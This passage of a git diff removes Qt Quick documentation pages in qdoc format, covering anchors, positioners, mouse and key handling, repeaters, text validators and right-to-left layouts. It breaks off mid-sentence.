{class="float-right"} -\inlineimage declarative-qmlintro-anchors-margins.png -\br -\inlineimage declarative-qmlintro-anchors-baseline-margins.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/anchors-margins.qml anchored items - -Note that the image also uses a margin to leave a gap between its left edge -and the left edge of the user interface. - -Adding \l Rectangle items to the scene description, we can see the effects of -the anchors and margins, with the image displaced from the left edge of its -parent item and the text label displaced from the right edge of the image. - -\clearfloat -\section2 Limitations and Strategies - -Anchors allow the relationships between items to be described using simple -declarations, maintaining a user interface layout when items move or change -size. They are useful in most situations, but have limitations which need -to be considered, and therefore it is a good idea to adopt strategies for -using them. - -\section3 Limitations of Anchors - -Since anchors can only be used to relate an item with its parent, children or -siblings, care must be taken when referencing items in complex or deeply-nested -user interfaces. Where there are lots of items to be arranged, it can be more -productive to use \l{#Positioners}{positioners} and -\l{Generating Items with Repeaters}{repeaters}, or -\l{Models and Views}{models and views}. - -Connections between anchors cannot be deleted and will override explicit -declarations of positions and sizes using the \l{Item::}{x}, \l{Item::}{y}, -\l{Item::}{width} and \l{Item::}{height} properties of items. - -Since anchors rely on property binding to ensure that items are dynamically -updated if one of them changes, each anchor definition creates a new dependency -on another item. Use of anchors therefore causes a dependency graph defining an -order in which items will be updated. Problems can occur if circular dependencies -are created between items. The following example shows this occurring with a -parent item and its child. - -\snippet examples/declarative/tutorials/qmlintro/circular.qml circular - -\section3 Strategies for Use - -In order to reference an item with an anchor, it needs a way to be identified. -Children of the item can refer to it as \c parent, but otherwise it needs to -define an \l{Introduction to the QML Language#Object Identifiers}{identifier}. -It is good practice to define identifiers for all the items that need to be -positioned or referenced in some way unless those items can be referenced -using the \c parent identifier. - -It is usually helpful to identify the fixed or dominant parts of the user -interface and give those items identifiers so that dependent items can refer -to them. This avoids potential issues with circular dependencies. -In the example shown, the \c launchBox and \c cancelBox items are anchored -within the top level item that contains the user interface. Each of these -items contain an image and a text item that are anchored to their parent. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-anchors-strategy-annotated.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/anchors-strategy.qml anchor strategy - -The above example shows how each item is anchored to its parent. This ensures -that the dependencies introduced by the anchors all consistently point to each -item's parent or a sibling. It is not always possible to ensure such simple -dependencies between items. As a result, it is often necessary to consider -other factors that determine how the use of anchors will affect the geometries -of items. - -When positioning items using the \c horizontalCenter anchor, do not use the -\c left or \c right anchors; define the width of the item instead, either as -a fixed value or as a proportion of the parent item. Similarly, avoid using -the \c top or \c bottom anchors with the \c verticalCenter anchor; set the -height of the item instead. - -Items that define their own width and height based on their contents, like -\l Image or \l TextInput, can be used with all kinds of anchors. Care must -be taken to avoid imposing conflicting constraints on their dimensions. -For example, using \c left and \c right anchors to position a text input -item may be problematic because the item determines its own width and it -may change. - -When defining an item that you want to stretch to fill the available space -between other items, make sure that you anchor the stretchable item to items -with well-defined or implicitly-defined sizes and not the other way round. -The following example shows this with a \l Text item with an implicit size -and a \l Rectangle that stretches to fill the remaining space in its parent -item. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-anchors-stretch.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/anchors-stretch.qml items - -The rectangle uses anchors to define its top, left and right edges in terms -of its parent item, and the bottom edge is aligned with the top of the text -item. If, instead, the text item is anchored to the rectangle, which has no -implicit size, the layout of the user interface will be broken because the -rectangle will be assigned a zero height. - -\section1 Positioners - -Positioner items are container items that manage the positions and sizes of -items in a declarative user interface. Positioners behave in a similar way to -the \l{Widgets and Layouts}{layout managers} used with standard Qt widgets, -except that they are also containers in their own right. - -Positioners make it easier to work with many items when they need to be -arranged in a regular layout. As we will see when we encounter -\l{Generating Items with Repeaters}{Repeaters}, it is easier to describe -how items should be arranged when there are many of them than it is to -try and individually position them. - -\section2 Standard Positioners - -A set of standard positioners are provided in the basic set of Qt Quick items. -Since these are all based on the \l Item element, they contain properties that -define their positions and sizes, but they do not have any visual appearance -of their own; they simply arrange their child items in the space allocated to -them. Any background color, if desired, must be added to a parent Rectangle. - -\list -\li \l{#Row}{Row} arranges its children in a row. -\li \l{#Column}{Column} arranges its children in a column. -\li \l{#Grid}{Grid} arranges its children in a grid. -\li \l{#Flow}{Flow} arranges its children like words on a page. -\endlist - -Each of these items provides many of the same properties as the others, -making it easy to exchange one with another at a later point in the design -of an application or component. The common properties are \c spacing, -\c add and \c move. As expected, the \l{Row::spacing}, \l{Column::spacing} -and \l{Grid::spacing} properties have slightly different meanings because -they describe how space is added to different kinds of layout. - -The \c add and \c move properties describe what should happen when items -are added to a positioner item or moved within it. These actions are -described with \l{QML Animation and Transitions}{transitions}, and will -be covered later. - -\section3 Row - -\l Row items are used to horizontally arrange items. The following example -uses a Row item to arrange three rounded \l Rectangle items in an area defined -by an outer colored Rectangle. The \l{Row::spacing}{spacing} property is set to -include a small amount of space between the rectangles. - -\div {class="float-right"} -\inlineimage qml-row.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/row.qml document - -We ensure that the parent \l Rectangle is large enough so that there is some space -left around the edges of the horizontally centered Row item. The equally-sized -rectangles in this example automatically line up because they each have the -same height. Items with different heights will not be positioned vertically -by the \l Row; these need to be lined up using anchors. - -Since the \l Row item is responsible for positioning its child items -horizontally, those child items cannot use anchors to position themselves -within the row. However, they can use anchors to align themselves vertically -relative to one another or to the row itself. The following example uses -\c verticalCenter anchors to vertically align three rectangles with -different sizes. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-row-anchors.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/row-anchors.qml row - -Note that the \l Row item itself uses \c horizontalCenter and \c verticalCenter -anchors to place itself in the center of its parent. It is free to do this -because it is not being positioned by its parent, a \l Rectangle. However, -when we place positioners inside other positioner, such as a \l Row inside -a \l Column, we will need to be aware of what constraints are being imposed -by the positioner's parent item. This is -\l{#Nesting Positioner Items}{discussed later} in this chapter. - -The height of the row is dependent on the heights of the individual child -items and, unless specified using the \c height property or with anchors, -it will only be as high as the tallest child item. - -\clearfloat -\section3 Column - -\l Column items are used to vertically arrange items. The following example -uses a Column item to arrange three \l Rectangle items in an area defined -by an outer \l Item. The \l{Column::spacing}{spacing} property is set to -include a small amount of space between the rectangles. - -\div {class="float-right"} -\inlineimage qml-column.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/column.qml document - -In the above example, each of the rounded rectangles are positioned by the -\l Column item. The column only changes the vertical positions of its -child items and does not restrict their horizontal positions. However, -the restrictions on the use of anchors do not apply to the children of -these child items, so each \l Text item uses its \c centerIn anchor to -horizontally and vertically align itself within its parent rectangle. - -The width of the column is dependent on the widths of the individual child -items and, unless specified using the \c width property or with anchors, -it will only be as wide as the widest child item. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-column-anchors.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/column-anchors.qml document - -The example above stretches the column horizontally to fill the entire -user interface, and stretches each rectangle inside to fill the column. -The text items behave as they did in the previous example. - -\clearfloat -\section3 Grid - -\l Grid items are used to place items in a grid or table arrangement. -The following example uses a Grid item to place four \l Rectangle items -in a 2-by-2 grid. As with the other positioners, the spacing between items -can be specified using the \l{Grid::spacing}{spacing} property. - -\div {class="float-right"} -\inlineimage qml-grid-spacing.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/grid-spacing.qml document - -There is no difference between horizontal and vertical spacing inserted -between items, so any additional space must be added within the items -themselves. Any empty cells in the grid must be created by defining -placeholder items at the appropriate places in the grid definition. - -As with the \l Row and \l Column items, \l Grid items restrict the anchors -used by their child items. Since they position items both horizontally -and vertically, it is not possible to use any of the anchors to align -items within the grid. However, we can use placeholder items as the grid's -child items and put visible items inside those, using anchors to align -them. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-grid-positioning.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/grid-positioning.qml document start -\snippet examples/declarative/tutorials/qmlintro/grid-positioning.qml document end - -We only show the first item, but the principle is the same for the others. - -\clearfloat -\section3 Flow - -\l Flow items are used to place items like words on a page, with rows or -columns of non-overlapping items. - -Flow items arrange items in a similar way to \l Grid items, with items -arranged in lines along one axis (the minor axis), and lines of items -placed next to each other along another axis (the major axis). The -direction of flow, as well as the spacing between items, are controlled -by the \l{Flow::}{flow} and \l{Flow::}{spacing} properties. - -The following example shows a Flow item containing a number of \l Text -child items. These are arranged in a similar way to those shown in the -screenshots. - -\div {class="float-right"} -\inlineimage qml-flow-text1.png -\br -\inlineimage qml-flow-text2.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/flow.qml document - -The main differences between the \l Grid and \l Flow positioners are that -items inside a \l Flow will wrap when they run out of space on the minor -axis, and items on one line may not be aligned with items on another line -if the items do not have uniform sizes. As with grid items, there is no -independent control of spacing between items and between lines of items. - -\clearfloat -\section2 Nesting Positioner Items - -Since each positioner is based on \l Item, we can nest them like other -items, placing one positioner inside another. The following example shows a -\l Column that contains two \l Row positioners. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-nested-positioners.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/nested-positioners.qml column - -The example works around the restrictions on the use of anchors mentioned -earlier by using appropriate anchors for each item. The innermost items, -\l Text and \l Rectangle, use anchors for vertical positioning within -\l Row items, which each perform horizontal positioning of their child -items. - -The rows use anchors to position themselves within the \l Column item, which -arranges them vertically. The column is centered horizontally and vertically -within its parent, a non-positioning item. - -\clearfloat -\section2 Strategies for Use - -Positioners are intended to be used in situations where it would be -tedious to apply anchors to a number of items. For this reason, they are -also used to position dynamically created items, such as those generated -by \l Repeater items. - -The items used with positioners must have a well-defined size, otherwise -positioners will not be able to determine where they should be placed, -leaving their positions undefined. When using a \l Column, it is sufficient -to give each child item a fixed height; the width can be defined using -anchors. Similarly, with a \l Row, the width of each item should be -fixed, but the height can be defined using anchors. Items used with \l Grid -and \l Flow positioners should have fixed widths and heights. -*/ - -/*! -\page qml-user-interaction.html -\contentspage Introduction to the QML Language -\previouspage Composing User Interfaces with QML -\nextpage Generating Items with Repeaters -\title User Interaction with QML -\brief Making items respond to user input. - -\tableofcontents - -So far, we have shown how to declare items and arrange them to create a user -interface. If we play a QML file using the \l{QML Viewer}, we can resize the -display window and see the items adapt to the change, but the items -themselves do not respond to user input from the keyboard or mouse. - -Unlike standard Qt widgets, items do not include intrinsic support for user -interaction. The features required for interactivity are added or applied to -items. - -QML provides the \l MouseArea item to handle mouse input and \l Keys and -\l KeyNavigation attached properties to handle keyboard input. These are -used with other items to make them responsive to user input. - -\section1 Mouse Areas - -To make items responsive to mouse clicks, we add \l MouseArea items to the -user interface, typically as children of the items we want to make -interactive. Since \l MouseArea is based on \l Item, it has a geometry, but -no visual appearance. The following example defines a mouse area with an -explicit position and size; the image shown indicates where the mouse area -is in the user interface, but it will not be visible in the running example. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-mousearea-annotated.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/mousearea.qml mouse area - -The \l{MouseArea::}{onPressed} and \l{MouseArea::}{onReleased} definitions -are \l{QML Concepts and Syntax#Signal Handlers}{signal handlers} that -contain JavaScript code that will be executed in response to a signal. In -this case, when the mouse button is pressed or released, the code will -change the color of the background. Other signal handlers can be defined -to handle other user input, such as \l{MouseArea::}{onClicked} and -\l{MouseArea::}{onDoubleClicked}. Some require additional configuration -of the item before they will work as expected, as we shall see later. - -\note It is more common to define mouse areas within items and position them -with anchors, as shown by the rest of the examples in this chapter. - -\clearfloat -\section2 Handling Mouse Buttons - -The following example uses an anchor to fill a \l Text item with a mouse -area, and defines two signal handlers to response to mouse button input. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-mouse-pressed1.png -\br -\inlineimage declarative-qmlintro-mouse-pressed2.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/mouse-pressed-signals.qml text item - -The \l{MouseArea::}{onPressed} and \l{MouseArea::}{onReleased} -signal handlers are defined for the mouse area. As a result, when the user -presses a mouse button when the cursor is over the text, the color changes -to green; when the button is released, the color changes to black. - -Note that the mouse area only responds to the left mouse button by default. -This is because the default value of the \l{MouseArea::}{acceptedButtons} -is \l{Qt::LeftButton}{Qt.LeftButton}. To test for other buttons, set this -property to be the combination of the buttons required (using the OR -operator), as in the following example. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-mouse-pressed-buttons.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/mouse-pressed-buttons.qml items - -The mouse area covers the entire area of the user interface and accepts -input from both left and right buttons. Each of the rectangles defines its -color as an expression that depends on the mouse area's -\l{MouseArea::}{pressedButtons} property, testing whether the relevant -button is found in the value of this property. When a button is released, -the value is \c{Qt.NoButton}. - -\note The \l{MouseArea::}{pressed} property provides information about -whether or not a button was pressed in the mouse area, but does not -provide any more than a boolean value. This can be sufficient in many -situations. - -\clearfloat -\section2 Finding the Cursor Position - -The \l MouseArea item contains a number of properties and signal handlers -that provide information about the mouse cursor. For example, the -\l{MouseArea::}{mouseX} and \l{MouseArea::}{mouseY} properties contain the -position of the cursor, as shown in the following example. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-mouse-pressed-position.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/mouse-pressed-position.qml text item - -When the user presses the mouse button over the text item, the text changes -to show the coordinates within the mouse area where the press occurred. If -we need to find the mouse position outside the text item, we should make -the mouse area a child of the text item's parent and use anchors to fill -that item instead. - -\clearfloat -\section2 Mouse Hover - -In the previous examples, the text item and rectangles were updated only -when the mouse button was pressed. Consider a situation where we would like -to continuously update the text item with the mouse's position. In such a -case, we could try the following: - -\div {class="float-right"} -\inlineimage declarative-qmlintro-mouse-pressed-position2.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/mouse-pressed-position2.qml text item - -When we run this example, the text item shows the initial, default value of -the mouse area's \c mouseX and \c mouseY properties. Moving the cursor over -the text has no effect. It is only when the text item is clicked that the -text is updated. - -The reason for this is that, by default, the mouse area only updates various -properties when a button is pressed. To receive continuous updates about the -mouse cursor, we need to enable \e{mouse hover} by setting its -\l{MouseArea::}{hoverEnabled} property, as shown in the following example: - -\div {class="float-right"} -\inlineimage declarative-qmlintro-mouse-hover-enabled.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/mouse-hover-enabled.qml text item - -With mouse hover enabled, other properties of the \l MouseArea can be -monitored. For example, the \l{MouseArea::}{containsMouse} property can be -used to determine whether the mouse cursor is over the mouse area. -Previously, we only knew when this was the case because the user had to -press a mouse button over the area. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-mouse-hover-containsmouse1.png -\br -\inlineimage declarative-qmlintro-mouse-hover-containsmouse2.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/mouse-hover-containsmouse.qml items - -The above example uses \l{QML Concepts and Syntax#Expressions}{an expression} -to show the coordinates of the mouse cursor when it is in the mouse area, -\c area. When \c{area.containsMouse} evaluates to \c false, the \c{-} -character is shown instead. - -Certain signal handlers only become useful when mouse hover is enabled. -For example, the \l{MouseArea::}{onEntered}, \l{MouseArea::}{onExited} -and \l{MouseArea::}{onPositionChanged} signal handlers will be called -when the cursor enters, exits or changes position in the area. - -\section2 Dragging Items - -As well as handling the low level interaction details, the \l MouseArea item -also handles drag operations if the relevant properties are set. The -following example shows how dragging is enabled for an item. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-mouse-drag.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/mouse-drag.qml draggable item - -The item to be dragged is the \l Rectangle containing a \l MouseArea and -\l Text items. All that is required is to set the value of the -\l{MouseArea::}{drag.target} grouped property to the item we wish to enable -dragging for; in this case, the \c parent of the mouse area. When run, the -rectangle containing the text can be dragged around its parent's area. - -The other \c drag grouped properties allow the dragging behavior of the -item to be restricted and fine-tuned. \l{MouseArea::}{drag.axis} can be -set to only allow dragging to occur along the x or y axes, and the range -of positions to which the target item can be dragged can be limited to -a range specified by the \l{MouseArea::}{drag.minimumX}, -\l{MouseArea::}{drag.minimumY}, \l{MouseArea::}{drag.maximumX} and -\l{MouseArea::}{drag.maximumY} properties. - -\clearfloat -\section2 Strategies for Use - -Mouse areas are applied to a user interface by using anchors to fill the -items that need to respond to user input. This makes them responsive to -button presses by default, and to mouse movement when the -\l{MouseArea::}{hoverEnabled} property is set to \c true. When a mouse -area is not needed to provide input, its \l{MouseArea::}{enabled} -property can be set to \c false, so that it ignores user input. - -When mouse buttons are pressed and released, the -\l{MouseArea::}{pressedButtons} property is updated as expected. However, -when multiple buttons are used, as in the -\l{#Handling Mouse Buttons}{example above}, the most up-to-date values -reported by this property are not necessarily propagated to the items -that use it. For this reason, it can be better to consider using signal -handlers to respond to mouse button presses and releases. - - -\section1 Key Handling - -Another important method of user input is via the keyboard. In addition to -the \l TextInput and \l TextEdit items, which accept keyboard input for -display purposes, QML provides facilities to allow items to capture key -presses, as well as higher level features for navigation using keys. - -Unlike mouse input, which uses the \l MouseArea item, key input uses two -attached properties to handle keyboard input: \l Keys and \l KeyNavigation. -These look like ordinary elements, but can be applied to any item in order -to enable keyboard input support. - -\section2 Key Navigation - -In desktop user interfaces, it is usually helpful to provide a way for the -user to navigate between input fields or other interactive items by pressing -navigation keys, typically the cursor keys or the \key Tab key. The -\l KeyNavigation attached property is used to define the relationships -between items to allow this kind of navigation. - -The following example shows two \l Rectangle items placed in a \l Row -positioner. These are defined with identifiers, \c{leftRect} and -\c{rightRect}. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-key-navigation1.png -\br -\inlineimage declarative-qmlintro-key-navigation2.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/key-navigation.qml items - -The \c{leftRect} rectangle attaches the -\l{KeyNavigation::right}{KeyNavigation.right} property, setting it to refer -to the \c{rightRect} rectangle. The \c{rightRect} rectangle attaches the -\l{KeyNavigation::left}{KeyNavigation.left} property, referring to the -\c{leftRect} rectangle. - -Initially, the \c{leftRect} rectangle has the keyboard focus, since its -\l{Item::}{focus} property is set to \c true. When the user presses the -right cursor key, the focus is passed to the \c{rightRect} rectangle instead, -as defined by the \l KeyNavigation attached property for that item. Pressing -the left cursor key causes the focus to be passed back to \c{leftRect} -because as defined by the \l KeyNavigation attached property for -\c{rightRect}. - -\clearfloat -*/ - -/*! -\page qml-positioning-items.html -\contentspage Introduction to the QML Language -\previouspage Composing User Interfaces with QML -\nextpage QML Tutorial -\title Generating Items with Repeaters -\brief How to generate and position items dynamically. - -\tableofcontents - -\section1 Repeaters - -\div {class="float-right"} -\inlineimage qml-repeater-grid-index.png -\enddiv - -Repeaters create items from a template for use with positioners, using data -from a model. Combining repeaters and positioners is an easy way to lay out -lots of items. A \l Repeater item is placed inside a positioner, and generates -items that the enclosing positioner arranges. - -Each Repeater creates a number of items by combining each element of data -from a model, specified using the \l{Repeater::model}{model} property, with -the template item, defined as a child item within the Repeater. -The total number of items is determined by the amount of data in the model. - -The following example shows a repeater used with a \l{#Grid}{Grid} item to -arrange a set of Rectangle items. The Repeater item creates a series of 24 -rectangles for the Grid item to position in a 5 by 5 arrangement. - -\clearfloat -\snippet doc/src/snippets/qml/repeaters/repeater-grid-index.qml document - -The number of items created by a Repeater is held by its \l{Repeater::}{count} -property. It is not possible to set this property to determine the number of -items to be created. Instead, as in the above example, we use an integer as -the model. This is explained in the \l{QML Data Models#An Integer}{QML Data Models} -document. - -It is also possible to use a delegate as the template for the items created -by a Repeater. This is specified using the \l{Repeater::}{delegate} property. - -\section1 Using Transitions - -Transitions can be used to animate items that are added to, moved within, -or removed from a positioner. - -Transitions for adding items apply to items that are created as part of a -positioner, as well as those that are reparented to become children of a -positioner. -Transitions for removing items apply to items within a positioner that are -deleted, as well as those that are removed from a positioner and given new -parents in a document. - -Additionally, changing the opacity of items to zero will cause them to -disappear using the remove transition, and making the opacity non-zero will -cause them to appear using the add transition. - -\section1 Other Ways to Position Items - -There are several other ways to position items in a user interface. In addition -to the basic technique of specifying their coordinates directly, they can be -positioned relative to other items with \l{anchor-layout}{anchors}, or used -with \l{QML Data Models} such as -\l{QML Data Models#VisualItemModel}{VisualItemModel}. -*/ diff --git a/doc/src/qtquick2/qmltexthandling.qdoc b/doc/src/qtquick2/qmltexthandling.qdoc deleted file mode 100644 index d32cdc9..0000000 --- a/doc/src/qtquick2/qmltexthandling.qdoc +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-texthandling.html -\title Text Handling and Validators -\brief elements that accept and handle text input - -\tableofcontents - -\section1 Text Elements - -\list -\li \l{Text} -\li \l{TextInput} -\li \l{TextEdit} -\endlist - -\section1 Validators -\list -\li \l{IntValidator} -\li \l{DoubleValidator} -\li \l{RegExpValidator} -\endlist - -\section1 Displaying Text in QML -QML provides several elements to display text onto the screen. The \l Text -element will display formatted text onto the screen, the \l TextEdit element -will place a multiline line edit onto the screen, and the \l TextInput will -place a single editable line field onto the screen. - -To learn more about their specific features and properties, visit their -respective element documentation. - -\section1 Validating Input Text -The \l {Validators}{validator} elements enforce the type and format of -\l TextInput objects. - -\snippet doc/src/snippets/qml/texthandling.qml int validator -The validator elements bind to \c {TextInput}'s \c validator property. - -\snippet doc/src/snippets/qml/texthandling.qml regexp validator -The regular expression in the snippet will only allow the inputted text to be -\c {fruit basket}. - -Note that QML parses JavaScript regular expressions, while Qt's -\l {QRegExp} class' regular expressions are based on Perl regular expressions. - -*/ diff --git a/doc/src/qtquick2/qtquick-intro.qdoc b/doc/src/qtquick2/qtquick-intro.qdoc deleted file mode 100644 index 0fcf4ef..0000000 --- a/doc/src/qtquick2/qtquick-intro.qdoc +++ /dev/null @@ -1,143 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-intro.html -\title Introduction to Qt Quick - -Qt Quick is a collection of technologies that are designed to help developers -create the kind of intuitive, modern, and fluid user interfaces that are -increasingly used on mobile phones, media players, set-top boxes, and other -portable devices. Qt Quick consists of a rich set of user interface -\l{QML Elements}{elements}, a \l{QML Syntax}{declarative} language for -describing user interfaces, and a language \l{QtQml Module}{runtime}. A -collection of C++ APIs is used to integrate these high level features with -classic Qt applications. Version 2.1 of the Qt Creator integrated development -environment (IDE) introduces tools for developing Qt Quick applications. - -\image qml-clocks-example.png - -\section1 The QML Language - -QML is a high level language that uses a declarative syntax to define how the -user interface should appear and behave. QML is used to build interfaces using -a collection of standard elements for fundamental user interface features. -These elements expose properties that can be changed at run-time, allowing -visual elements to be animated and used in transitions between states of the -user interfaces. - -\div{class="float-left"} -\inlineimage qml-dialcontrol-example.png -\enddiv -A Dial element might define a \e value property that can be used to control -the position of the needle on the dial. The element could be declared to -use a slider that adjusts the value of this property. - -\snippet examples/declarative/ui-components/dialcontrol/qml/dialcontrol.qml the dial in use - -Building user interfaces by importing these elements and linking their properties -together is one of the fundamental features of QML and Qt Quick. - -\clearfloat -Behind the scenes, QML leverages the power and efficiency of the Qt libraries -to provide rendering facilities, perform processor-intensive operations, and -to access components written in C++. - -The QML language also gives the developer more flexibility to create parts -of their user interface by allowing \l{About JavaScript}{JavaScript} to be -used to implement high level user interface logic. - -\l{How to Learn QML} introduces the reader to the language and declarative -concepts. - -\section1 QtQml Module - -To make Qt Quick possible, Qt introduces the \l{QtQml} module. The -module creates a JavaScript runtime that QML runs under with a Qt based backend. -Because QtQml and QML are built upon Qt, they inherit many of Qt's -technology, namely the \l{Signals and Slots}{signals and slots} mechanism and -the \l{The Meta-Object System}{meta-object} system. Data created using C++ are -directly accessible from QML, and QML objects are also accessible from C++ code. - -The QtQml module separates the interface logic in QML from the -application logic in C++. It also allows the range of standard QML elements -to be \l{Extending QML with C++}{extended with new ones written in C++}. - -\section1 Qt Creator Tools - -Qt Creator is a complete integrated development environment (IDE) for creating -applications with Qt Quick and the Qt application framework. - -\image qmldesigner-visual-editor.png - -The main goal for Qt Creator is meeting the development needs of Qt Quick -developers who are looking for simplicity, usability, productivity, -extendibility and openness, while aiming to lower the barrier of entry for -newcomers to Qt Quick and Qt. The key features of Qt Creator allow UI designers -and developers to accomplish the following tasks: -\list -\li Get started with Qt Quick application development quickly and easily with -examples, tutorials, and project wizards. -\li Design application user interface with the integrated editor, Qt Quick -Designer, or use graphics software to design the user interface and use scripts -to export the design to Qt Quick Designer. -\li Develop applications with the advanced code editor that provides new powerful -features for completing code snippets, refactoring code, and viewing the element -hierarchy of QML files. -\li Build and deploy Qt Quick applications that target multiple desktop and -mobile platforms, such as Microsoft Windows, Mac OS X, Linux, and Maemo. -\li Debug JavaScript functions and execute JavaScript expressions in the current -context, and inspect QML at runtime to explore the object structure, debug -animations, and inspect colors. -\li Deploy applications to mobile devices and create application installation -packages for Maemo devices that can be published in the Ovi Store -and other channels. -\li Easily access information with the integrated context-sensitive Qt Help -system. -\endlist - -\image qtcreator-target-selector.png - -\section1 Where to Go from Here - -\l{external: Developing Qt Quick Applications with Creator} -{Developing Qt Quick Applications with Creator} provides an overview -of user interface development using the visual \e{Qt Quick Designer} tool. - -\l{How to Learn QML} introduces the reader to the language and declarative -concepts. - -The \l{QML Reference} page has links to various Qt Quick topics such as QML -features, addons, and tools. - -The \l {Qt Quick Code Samples} page has a gallery of QML applications. - -\section1 License Information -\list -\li \l{Qt Quick Licensing Information} -\endlist -*/ diff --git a/doc/src/qtquick2/qtquick.qdoc b/doc/src/qtquick2/qtquick.qdoc deleted file mode 100644 index c38ef3c..0000000 --- a/doc/src/qtquick2/qtquick.qdoc +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \module QtQuick - \title Qt Quick Module - \ingroup modules - - \brief The Qt Quick module provides classes for embedding Qt Quick - in Qt/C++ applications. - - To include the definitions of the module's classes, use the - following directive: - - \code - #include - \endcode - - To link against the module, add this line to your \l qmake \c - .pro file: - - \code - QT += quick - \endcode - - For more information on the Qt Quick module, see the - \l{Qt Quick} documentation. -*/ diff --git a/doc/src/qtquick2/righttoleft.qdoc b/doc/src/qtquick2/righttoleft.qdoc deleted file mode 100644 index cf1cf5b..0000000 --- a/doc/src/qtquick2/righttoleft.qdoc +++ /dev/null @@ -1,196 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-righttoleft.html -\ingroup qml-features -\title Right-to-left User Interfaces -\brief switching text flow and layout -\section1 Overview - -This chapter discusses different approaches and options available for implementing right-to-left -language support for Qt Quick applications. Some common right-to-left languages include Arabic, Hebrew, -Persian and Urdu. Most changes include making sure that text translated to right-to-left languages -is properly aligned to the right, and horizontally ordered content in views, lists and grids flows -correctly from the right to left. - -In right-to-left language speaking cultures, people naturally scan and read graphic elements and text -from the right to left. The general rule of thumb is that content (like photos, videos and maps) is not -mirrored, but positioning of the content (like application layouts and the flow of visual elements) is -mirrored. For example, photos shown in chronological order should flow from right to left, the -low end range of the horizontal sliders should be located at the right side of the slider, and -text lines should should be aligned to the right side of the available text area. The location of visual -elements should not be mirrored when the position is related to a content; for example, when a -position marker is shown to indicate a location on a map. Also, there are some special cases you may -need to take into account where right-to-left language speakers are used to left-to-right -positioning, for example when using number dialers in phones and media play, pause, rewind and -forward buttons in music players. - -\section1 Text Alignment - -(This applies to the \l Text, \l TextInput and \l TextEdit elements.) - -When the horizontal alignment of a text item is not explicitly set, the text element is -automatically aligned to the natural reading direction of the text. By default left-to-right text -like English is aligned to the left side of the text area, and right-to-left text like Arabic is -aligned to the right side of the text area. The alignment of a text element with empty text takes -its alignment cue from \l QInputMethod::inputDirection(), which is based on the active -system locale. - -This default locale-based alignment can be overridden by setting the \c horizontalAlignment -property for the text element, or by enabling layout mirroring using the \l LayoutMirroring attached -property, which causes any explicit left and right horizontal alignments to be mirrored. -Note that when \l 